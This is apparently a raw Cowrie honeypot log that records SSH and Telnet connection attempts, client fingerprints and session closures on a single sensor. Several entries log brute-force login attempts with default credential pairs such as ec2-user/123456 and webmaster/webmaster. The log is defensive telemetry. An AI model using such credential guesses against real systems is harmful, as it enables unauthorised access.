{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:33.712988Z","src_ip":"45.153.34.114","session":"7009e9017fde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:33.981860Z","src_ip":"45.153.34.114","session":"7009e9017fde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.243297576904297,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:34.219295Z","src_ip":"74.91.213.120","session":"ff4b71eb38a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:35.181879Z","src_ip":"45.153.34.114","session":"7009e9017fde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.143197536468506,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:38.487986Z","src_ip":"74.91.213.120","session":"5264c23617ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1471426486969,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:38.510716Z","src_ip":"74.91.213.120","session":"5e1fa7250c55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.136781215667725,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:38.525034Z","src_ip":"74.91.213.120","session":"252a86af418c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":33186,"dst_ip":"159.203.135.109","dst_port":23,"session":"1363095d63d4","protocol":"telnet","message":"New connection: 74.91.213.120:33186 (159.203.135.109:23) [session: 1363095d63d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:41.186420Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":52626,"dst_ip":"159.203.135.109","dst_port":22,"session":"c44cadc004aa","protocol":"ssh","message":"New connection: 45.153.34.114:52626 (159.203.135.109:22) [session: c44cadc004aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:41.669469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:41.673286Z","src_ip":"45.153.34.114","session":"c44cadc004aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:41.769073Z","src_ip":"45.153.34.114","session":"c44cadc004aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"123456","message":"login attempt [ec2-user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:42.027240Z","src_ip":"45.153.34.114","session":"c44cadc004aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.14207625389099,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:42.176505Z","src_ip":"74.91.213.120","session":"7b673f3e764d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.158833265304565,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:42.934655Z","src_ip":"74.91.213.120","session":"07034cf23317","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:43.123639Z","src_ip":"45.153.34.114","session":"c44cadc004aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.150899410247803,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:44.907697Z","src_ip":"74.91.213.120","session":"7257ea6a878e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.146305084228516,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:45.203280Z","src_ip":"74.91.213.120","session":"e44479fca2f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.124451160430908,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:46.519781Z","src_ip":"74.91.213.120","session":"177c11d9d48d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":33230,"dst_ip":"159.203.135.109","dst_port":23,"session":"aabe786645d2","protocol":"telnet","message":"New connection: 74.91.213.120:33230 (159.203.135.109:23) [session: aabe786645d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:47.574772Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":33058,"dst_ip":"159.203.135.109","dst_port":23,"session":"321e186bf68d","protocol":"telnet","message":"New connection: 74.91.213.120:33058 (159.203.135.109:23) [session: 321e186bf68d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:48.433084Z"}
{"eventid":"cowrie.session.closed","duration":31.128541707992554,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:48.542641Z","src_ip":"74.91.213.120","session":"978d0c880789","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.157723665237427,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:48.581048Z","src_ip":"74.91.213.120","session":"a665faa7d055","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":57378,"dst_ip":"159.203.135.109","dst_port":22,"session":"8352aae0ec70","protocol":"ssh","message":"New connection: 45.153.34.114:57378 (159.203.135.109:22) [session: 8352aae0ec70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:49.743653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:49.747892Z","src_ip":"45.153.34.114","session":"8352aae0ec70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:49.830248Z","src_ip":"45.153.34.114","session":"8352aae0ec70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webmaster","password":"webmaster","message":"login attempt [webmaster/webmaster] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:50.086194Z","src_ip":"45.153.34.114","session":"8352aae0ec70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.26374912261963,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:50.544977Z","src_ip":"74.91.213.120","session":"57f74d219317","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":33060,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a344b2c95e4","protocol":"telnet","message":"New connection: 74.91.213.120:33060 (159.203.135.109:23) [session: 7a344b2c95e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:50.987533Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:51.172778Z","src_ip":"45.153.34.114","session":"8352aae0ec70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":33074,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6ea2b39582b","protocol":"telnet","message":"New connection: 74.91.213.120:33074 (159.203.135.109:23) [session: d6ea2b39582b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:51.976685Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":33078,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a222cae48eb","protocol":"telnet","message":"New connection: 74.91.213.120:33078 (159.203.135.109:23) [session: 9a222cae48eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:52.977650Z"}
{"eventid":"cowrie.session.closed","duration":31.125449419021606,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:53.105813Z","src_ip":"74.91.213.120","session":"ea50eba35081","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":33092,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8d1abf076aa","protocol":"telnet","message":"New connection: 74.91.213.120:33092 (159.203.135.109:23) [session: a8d1abf076aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:53.981822Z"}
{"eventid":"cowrie.session.closed","duration":31.131298303604126,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:54.311792Z","src_ip":"74.91.213.120","session":"797bd9f9886c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":33062,"dst_ip":"159.203.135.109","dst_port":23,"session":"008b300132a3","protocol":"telnet","message":"New connection: 74.91.213.120:33062 (159.203.135.109:23) [session: 008b300132a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:54.331583Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":33108,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a599636e644","protocol":"telnet","message":"New connection: 74.91.213.120:33108 (159.203.135.109:23) [session: 0a599636e644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:56.691765Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":57380,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ecfd423c786","protocol":"ssh","message":"New connection: 45.153.34.114:57380 (159.203.135.109:22) [session: 5ecfd423c786]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:57.547085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:57.551291Z","src_ip":"45.153.34.114","session":"5ecfd423c786","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:57.635999Z","src_ip":"45.153.34.114","session":"5ecfd423c786","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"123456","message":"login attempt [opc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:57.886819Z","src_ip":"45.153.34.114","session":"5ecfd423c786","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":33816,"dst_ip":"159.203.135.109","dst_port":23,"session":"56b6842efe24","protocol":"telnet","message":"New connection: 74.91.213.120:33816 (159.203.135.109:23) [session: 56b6842efe24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:57.999431Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":33820,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d3f570acc69","protocol":"telnet","message":"New connection: 74.91.213.120:33820 (159.203.135.109:23) [session: 9d3f570acc69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:58.052305Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:49:58.974862Z","src_ip":"45.153.34.114","session":"5ecfd423c786","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":33828,"dst_ip":"159.203.135.109","dst_port":23,"session":"855be38a0e6a","protocol":"telnet","message":"New connection: 74.91.213.120:33828 (159.203.135.109:23) [session: 855be38a0e6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:01.838286Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":33110,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b787b5807c1","protocol":"telnet","message":"New connection: 74.91.213.120:33110 (159.203.135.109:23) [session: 9b787b5807c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:02.772781Z"}
{"eventid":"cowrie.session.closed","duration":31.16734790802002,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:03.389935Z","src_ip":"74.91.213.120","session":"e2cf9c0fa1ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":33840,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d8357e7ef45","protocol":"telnet","message":"New connection: 74.91.213.120:33840 (159.203.135.109:23) [session: 9d8357e7ef45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:03.849743Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.140.161.61","src_port":39996,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ba47691e62d","protocol":"ssh","message":"New connection: 115.140.161.61:39996 (159.203.135.109:22) [session: 7ba47691e62d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:04.624749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:04.634070Z","src_ip":"115.140.161.61","session":"7ba47691e62d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.454972743988037,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:04.791665Z","src_ip":"74.91.213.120","session":"706f838c7746","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f45fb203c31069bb280067b71ed92ccb","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f45fb203c31069bb280067b71ed92ccb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:04.847373Z","src_ip":"115.140.161.61","session":"7ba47691e62d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.056506633758545,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:04.942109Z","src_ip":"74.91.213.120","session":"06d3502ad3e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":33854,"dst_ip":"159.203.135.109","dst_port":23,"session":"cbbf3573d537","protocol":"telnet","message":"New connection: 74.91.213.120:33854 (159.203.135.109:23) [session: cbbf3573d537]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:05.077353Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":48986,"dst_ip":"159.203.135.109","dst_port":22,"session":"214d9b528d96","protocol":"ssh","message":"New connection: 45.153.34.114:48986 (159.203.135.109:22) [session: 214d9b528d96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:05.419481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:05.424369Z","src_ip":"45.153.34.114","session":"214d9b528d96","protocol":"ssh"}
